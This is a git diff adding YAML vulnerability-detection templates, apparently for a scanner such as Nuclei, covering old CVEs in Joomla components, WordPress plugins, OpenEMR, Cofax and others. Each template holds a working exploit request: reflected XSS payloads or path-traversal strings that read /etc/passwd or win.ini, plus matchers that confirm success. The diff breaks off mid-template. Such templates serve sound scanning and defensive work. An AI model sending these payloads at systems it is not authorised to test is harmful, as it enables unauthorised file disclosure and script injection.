35 | | | | | diff --git a/cves/2005/CVE-2005-4385.yaml b/cves/2005/CVE-2005-4385.yaml new file mode 100644 index 0000000000..bf2da66428 --- /dev/null +++ b/cves/2005/CVE-2005-4385.yaml @@ -0,0 +1,26 @@ +id: CVE-2005-4385 + +info: + name: Cofax <= 2.0RC3 XSS + description: Cross-site scripting vulnerability in search.htm in Cofax 2.0 RC3 and earlier allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter. + reference: + - http://pridels0.blogspot.com/2005/12/cofax-xss-vuln.html + - https://nvd.nist.gov/vuln/detail/CVE-2005-4385 + author: geeknik + severity: medium + tags: cofax,xss,cve,cve2005 + +requests: + - method: GET + path: + - "{{BaseURL}}/search.htm?searchstring2=&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: body + words: + - "'>\"" diff --git a/cves/2006/CVE-2006-1681.yaml b/cves/2006/CVE-2006-1681.yaml new file mode 100644 index 0000000000..31764515a9 --- /dev/null +++ b/cves/2006/CVE-2006-1681.yaml @@ -0,0 +1,30 @@ +id: CVE-2006-1681 + +info: + name: Cherokee HTTPD <=0.5 XSS + description: Cross-site scripting (XSS) vulnerability in Cherokee HTTPD 0.5 and earlier allows remote attackers to inject arbitrary web script or HTML via a malformed request that generates an HTTP 400 error, which is not properly handled when the error message is generated. + reference: + - https://www.securityfocus.com/bid/17408 + - https://nvd.nist.gov/vuln/detail/CVE-2006-1681 + author: geeknik + severity: medium + tags: cherokee,httpd,xss,cve,cve2006 + +requests: + - method: GET + path: + - "{{BaseURL}}/%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "" + + - type: word + part: header + words: + - text/html diff --git a/cves/2008/CVE-2008-4668.yaml b/cves/2008/CVE-2008-4668.yaml new file mode 100644 index 0000000000..86cdf1bca8 --- /dev/null +++ b/cves/2008/CVE-2008-4668.yaml @@ -0,0 +1,27 @@ +id: CVE-2008-4668 + +info: + name: Joomla! Component imagebrowser 0.1.5 rc2 - Directory Traversal + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Image Browser (com_imagebrowser) 0.1.5 component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/6618 + - https://www.cvedetails.com/cve/CVE-2008-4668 + tags: cve,cve2008,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2008/CVE-2008-4764.yaml b/cves/2008/CVE-2008-4764.yaml new file mode 100644 index 0000000000..4435b80ee5 --- /dev/null +++ b/cves/2008/CVE-2008-4764.yaml @@ -0,0 +1,27 @@ +id: CVE-2008-4764 + +info: + name: Joomla! Component com_extplorer 2.0.0 RC2 - Directory Traversal + author: daffainfo + severity: high + description: Directory traversal vulnerability in the eXtplorer module (com_extplorer) 2.0.0 RC2 and earlier in Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action. + reference: | + - https://www.exploit-db.com/exploits/5435 + - https://www.cvedetails.com/cve/CVE-2008-4764 + tags: cve,cve2008,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2008/CVE-2008-6172.yaml b/cves/2008/CVE-2008-6172.yaml new file mode 100644 index 0000000000..f209594c78 --- /dev/null +++ b/cves/2008/CVE-2008-6172.yaml @@ -0,0 +1,27 @@ +id: CVE-2008-6172 + +info: + name: Joomla! Component RWCards 3.0.11 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter. + reference: | + - https://www.exploit-db.com/exploits/6817 + - https://www.cvedetails.com/cve/CVE-2008-6172 + tags: cve,cve2008,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2008/CVE-2008-6668.yaml b/cves/2008/CVE-2008-6668.yaml new file mode 100644 index 0000000000..f034e02349 --- /dev/null +++ b/cves/2008/CVE-2008-6668.yaml @@ -0,0 +1,27 @@ +id: CVE-2008-6668 + +info: + name: nweb2fax <= 0.2.7 Directory Traversal + description: Multiple directory traversal vulnerabilities in nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via .. in the id parameter to comm.php and var_filename parameter to viewrq.php. + reference: + - https://www.exploit-db.com/exploits/5856 + - https://nvd.nist.gov/vuln/detail/CVE-2008-6668 + author: geeknik + severity: high + tags: nweb2fax,lfi,cve,cve2008 + +requests: + - method: GET + path: + - "{{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd" + - "{{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + part: body + regex: + - "root:.*:0:0:" diff --git a/cves/2009/CVE-2009-5114.yaml b/cves/2009/CVE-2009-5114.yaml new file mode 100644 index 0000000000..557037e9ed --- /dev/null +++ b/cves/2009/CVE-2009-5114.yaml @@ -0,0 +1,27 @@ +id: CVE-2009-5114 + +info: + name: WebGlimpse 2.18.7 - Directory Traversal + author: daffainfo + severity: high + description: Directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter. + reference: | + - https://www.exploit-db.com/exploits/36994 + - https://www.cvedetails.com/cve/CVE-2009-5114 + tags: cve,cve2009,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-0943.yaml b/cves/2010/CVE-2010-0943.yaml new file mode 100644 index 0000000000..26277c276e --- /dev/null +++ b/cves/2010/CVE-2010-0943.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-0943 + +info: + name: Joomla! Component com_jashowcase - Directory Traversal + author: daffainfo + severity: high + description: Directory traversal vulnerability in the JA Showcase (com_jashowcase) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a jashowcase action to index.php. + reference: | + - https://www.exploit-db.com/exploits/11090 + - https://www.cvedetails.com/cve/CVE-2010-0943 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-0944.yaml b/cves/2010/CVE-2010-0944.yaml new file mode 100644 index 0000000000..fed06bf566 --- /dev/null +++ b/cves/2010/CVE-2010-0944.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-0944 + +info: + name: Joomla! Component com_jcollection - Directory Traversal + author: daffainfo + severity: high + description: Directory traversal vulnerability in the JCollection (com_jcollection) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/11088 + - https://www.cvedetails.com/cve/CVE-2010-0944 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-1353.yaml b/cves/2010/CVE-2010-1353.yaml new file mode 100644 index 0000000000..c26e19fdb3 --- /dev/null +++ b/cves/2010/CVE-2010-1353.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1353 + +info: + name: Joomla! Component LoginBox - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the LoginBox Pro (com_loginbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/12068 + - https://www.cvedetails.com/cve/CVE-2010-1353 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-1474.yaml b/cves/2010/CVE-2010-1474.yaml new file mode 100644 index 0000000000..35d77a623f --- /dev/null +++ b/cves/2010/CVE-2010-1474.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1474 + +info: + name: Joomla! Component Sweetykeeper 1.5 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Sweety Keeper (com_sweetykeeper) component 1.5.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/12182 + - https://www.cvedetails.com/cve/CVE-2010-1474 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-1495.yaml b/cves/2010/CVE-2010-1495.yaml new file mode 100644 index 0000000000..ee4f0d6ef6 --- /dev/null +++ b/cves/2010/CVE-2010-1495.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1495 + +info: + name: Joomla! Component Matamko 1.01 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Matamko (com_matamko) component 1.01 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/12286 + - https://www.cvedetails.com/cve/CVE-2010-1495 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-1602.yaml b/cves/2010/CVE-2010-1602.yaml new file mode 100644 index 0000000000..082c4dab57 --- /dev/null +++ b/cves/2010/CVE-2010-1602.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1602 + +info: + name: Joomla! Component ZiMB Comment 0.8.1 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the ZiMB Comment (com_zimbcomment) component 0.8.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/12283 + - https://www.cvedetails.com/cve/CVE-2010-1602 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_zimbcomment&controller=../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-1657.yaml b/cves/2010/CVE-2010-1657.yaml new file mode 100644 index 0000000000..9ca7b026c8 --- /dev/null +++ b/cves/2010/CVE-2010-1657.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1657 + +info: + name: Joomla! Component SmartSite 1.0.0 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the SmartSite (com_smartsite) component 1.0.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/12428 + - https://www.cvedetails.com/cve/CVE-2010-1657 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-1722.yaml b/cves/2010/CVE-2010-1722.yaml new file mode 100644 index 0000000000..50d09c0704 --- /dev/null +++ b/cves/2010/CVE-2010-1722.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1722 + +info: + name: Joomla! Component Online Market 2.x - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Online Market (com_market) component 2.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/12177 + - https://www.cvedetails.com/cve/CVE-2010-1722 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-1875.yaml b/cves/2010/CVE-2010-1875.yaml new file mode 100644 index 0000000000..1f3d3ef5cd --- /dev/null +++ b/cves/2010/CVE-2010-1875.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1875 + +info: + name: Joomla! Component Property - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Real Estate Property (com_properties) component 3.1.22-03 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/11851 + - https://www.cvedetails.com/cve/CVE-2010-1875 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_properties&controller=../../../../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-1953.yaml b/cves/2010/CVE-2010-1953.yaml new file mode 100644 index 0000000000..171fc4a085 --- /dev/null +++ b/cves/2010/CVE-2010-1953.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1953 + +info: + name: Joomla! Component iNetLanka Multiple Map 1.0 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the iNetLanka Multiple Map (com_multimap) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/12288 + - https://www.cvedetails.com/cve/CVE-2010-1953 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_multimap&controller=../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-1955.yaml b/cves/2010/CVE-2010-1955.yaml new file mode 100644 index 0000000000..569e73c820 --- /dev/null +++ b/cves/2010/CVE-2010-1955.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1955 + +info: + name: Joomla! Component Deluxe Blog Factory 1.1.2 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Deluxe Blog Factory (com_blogfactory) component 1.1.2 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/12238 + - https://www.cvedetails.com/cve/CVE-2010-1955 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-1979.yaml b/cves/2010/CVE-2010-1979.yaml new file mode 100644 index 0000000000..21d8522a7b --- /dev/null +++ b/cves/2010/CVE-2010-1979.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1979 + +info: + name: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/12088 + - https://www.cvedetails.com/cve/CVE-2010-1979 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-1983.yaml b/cves/2010/CVE-2010-1983.yaml new file mode 100644 index 0000000000..c72666cc1b --- /dev/null +++ b/cves/2010/CVE-2010-1983.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-1983 + +info: + name: Joomla! Component redTWITTER 1.0 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the redTWITTER (com_redtwitter) component 1.0.x including 1.0b11 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php + reference: | + - https://www.exploit-db.com/exploits/12055 + - https://www.cvedetails.com/cve/CVE-2010-1983 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-2033.yaml b/cves/2010/CVE-2010-2033.yaml new file mode 100644 index 0000000000..feea7b250f --- /dev/null +++ b/cves/2010/CVE-2010-2033.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-2033 + +info: + name: Joomla Percha Categories Tree 0.6 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://packetstormsecurity.com/files/89654/Joomla-Percha-Categories-Tree-0.6-Local-File-Inclusion.html + - https://www.cvedetails.com/cve/CVE-2010-2033 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_perchacategoriestree&controller=../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-2259.yaml b/cves/2010/CVE-2010-2259.yaml new file mode 100644 index 0000000000..3114b7d6aa --- /dev/null +++ b/cves/2010/CVE-2010-2259.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-2259 + +info: + name: Joomla! Component com_bfsurvey - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the BF Survey (com_bfsurvey) component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/10946 + - https://www.cvedetails.com/cve/CVE-2010-2259 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_bfsurvey&controller=../../../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-2682.yaml b/cves/2010/CVE-2010-2682.yaml new file mode 100644 index 0000000000..11ae2576a6 --- /dev/null +++ b/cves/2010/CVE-2010-2682.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-2682 + +info: + name: Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the Realtyna Translator (com_realtyna) component 1.0.15 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/14017 + - https://www.cvedetails.com/cve/CVE-2010-2682 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_realtyna&controller=../../../../../../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-4617.yaml b/cves/2010/CVE-2010-4617.yaml new file mode 100644 index 0000000000..39c726a67f --- /dev/null +++ b/cves/2010/CVE-2010-4617.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-4617 + +info: + name: Joomla! Component JotLoader 2.2.1 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the JotLoader (com_jotloader) component 2.2.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/15791 + - https://www.cvedetails.com/cve/CVE-2010-4617 + tags: cve,cve2010,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_jotloader§ion=../../../../../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2010/CVE-2010-5278.yaml b/cves/2010/CVE-2010-5278.yaml new file mode 100644 index 0000000000..244c56776c --- /dev/null +++ b/cves/2010/CVE-2010-5278.yaml @@ -0,0 +1,29 @@ +id: CVE-2010-5278 + +info: + name: MODx manager - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter. + reference: | + - https://www.exploit-db.com/exploits/34788 + - https://www.cvedetails.com/cve/CVE-2010-5278 + tags: cve,cve2010,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + part: body diff --git a/cves/2011/CVE-2011-4336.yaml b/cves/2011/CVE-2011-4336.yaml new file mode 100644 index 0000000000..8b0d597cec --- /dev/null +++ b/cves/2011/CVE-2011-4336.yaml @@ -0,0 +1,33 @@ +id: CVE-2011-4336 + +info: + name: Tiki Wiki CMS Groupware 7.0 has XSS + author: pikpikcu + severity: medium + description: Tiki Wiki CMS Groupware 7.0 has XSS via the GET "ajax" parameter to snarf_ajax.php. + reference: | + - https://nvd.nist.gov/vuln/detail/CVE-2011-4336 + - https://www.securityfocus.com/bid/48806/info + - https://seclists.org/bugtraq/2011/Nov/140 + tags: cve,cve2011,xss,tikiwiki + +requests: + - method: GET + path: + - "{{BaseURL}}/snarf_ajax.php?url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + + - type: status + status: + - 200 + + - type: word + part: header + words: + - text/html diff --git a/cves/2011/CVE-2011-4804.yaml b/cves/2011/CVE-2011-4804.yaml new file mode 100644 index 0000000000..b159420f76 --- /dev/null +++ b/cves/2011/CVE-2011-4804.yaml @@ -0,0 +1,27 @@ +id: CVE-2011-4804 + +info: + name: Joomla! Component com_kp - 'Controller' Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/36598 + - https://www.cvedetails.com/cve/CVE-2011-4804 + tags: cve,cve2011,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2012/CVE-2012-0991.yaml b/cves/2012/CVE-2012-0991.yaml new file mode 100644 index 0000000000..80b0e2d0a3 --- /dev/null +++ b/cves/2012/CVE-2012-0991.yaml @@ -0,0 +1,27 @@ +id: CVE-2012-0991 + +info: + name: OpenEMR 4.1 - Local File Inclusion + author: daffainfo + severity: high + description: Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter. + reference: | + - https://www.exploit-db.com/exploits/36650 + - https://www.cvedetails.com/cve/CVE-2012-0991 + tags: cve,cve2012,lfi,openemr + +requests: + - method: GET + path: + - "{{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2012/CVE-2012-4253.yaml b/cves/2012/CVE-2012-4253.yaml new file mode 100644 index 0000000000..c683b8e11c --- /dev/null +++ b/cves/2012/CVE-2012-4253.yaml @@ -0,0 +1,27 @@ +id: CVE-2012-4253 + +info: + name: MySQLDumper 1.24.4 - Directory Traversal + author: daffainfo + severity: high + description: Multiple directory traversal vulnerabilities in MySQLDumper 1.24.4 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) language parameter to learn/cubemail/install.php or (2) f parameter learn/cubemail/filemanagement.php, or execute arbitrary local files via a .. (dot dot) in the (3) config parameter to learn/cubemail/menu.php. + reference: | + - https://www.exploit-db.com/exploits/37129 + - https://www.cvedetails.com/cve/CVE-2012-4253 + tags: cve,cve2012,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2013/CVE-2013-5979.yaml b/cves/2013/CVE-2013-5979.yaml new file mode 100644 index 0000000000..83ee111c1f --- /dev/null +++ b/cves/2013/CVE-2013-5979.yaml @@ -0,0 +1,28 @@ +id: CVE-2013-5979 + +info: + name: Xibo 1.2.2/1.4.1 - Directory Traversal + author: daffainfo + severity: high + description: Directory traversal vulnerability in Spring Signage Xibo 1.2.x before 1.2.3 and 1.4.x before 1.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the p parameter to index.php. + reference: | + - https://www.exploit-db.com/exploits/26955 + - https://www.cvedetails.com/cve/CVE-2013-5979 + - https://bugs.launchpad.net/xibo/+bug/1093967 + tags: cve,cve2013,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355714673828" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2014/CVE-2014-4535.yaml b/cves/2014/CVE-2014-4535.yaml new file mode 100644 index 0000000000..78c28ee6cb --- /dev/null +++ b/cves/2014/CVE-2014-4535.yaml @@ -0,0 +1,31 @@ +id: CVE-2014-4535 + +info: + name: Import Legacy Media <= 0.1 - Unauthenticated Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + reference: | + - https://wpscan.com/vulnerability/7fb78d3c-f784-4630-ad92-d33e5de814fd + - https://nvd.nist.gov/vuln/detail/CVE-2014-4535 + tags: cve,cve2014,wordpress,wp-plugin,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/import–legacy–media/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - "'>" + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2014/CVE-2014-4536.yaml b/cves/2014/CVE-2014-4536.yaml new file mode 100644 index 0000000000..1d3d5293f3 --- /dev/null +++ b/cves/2014/CVE-2014-4536.yaml @@ -0,0 +1,31 @@ +id: CVE-2014-4536 + +info: + name: Infusionsoft Gravity Forms Add-on < 1.5.7 - Unauthenticated Reflected XSS + author: daffainfo + severity: medium + reference: | + - https://wpscan.com/vulnerability/f048b5cc-5379-4c19-9a43-cd8c49c8129f + - https://nvd.nist.gov/vuln/detail/CVE-2014-4536 + tags: cve,cve2014,wordpress,wp-plugin,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/tests/notAuto_test_ContactService_pauseCampaign.php?go=go%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&contactId=contactId%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&campaignId=campaignId%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&" + + matchers-condition: and + matchers: + - type: word + words: + - '">' + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2014/CVE-2014-4940.yaml b/cves/2014/CVE-2014-4940.yaml new file mode 100644 index 0000000000..a2d4666d76 --- /dev/null +++ b/cves/2014/CVE-2014-4940.yaml @@ -0,0 +1,25 @@ +id: CVE-2014-4940 + +info: + name: WordPress Plugin Tera Charts - Directory Traversal + author: daffainfo + 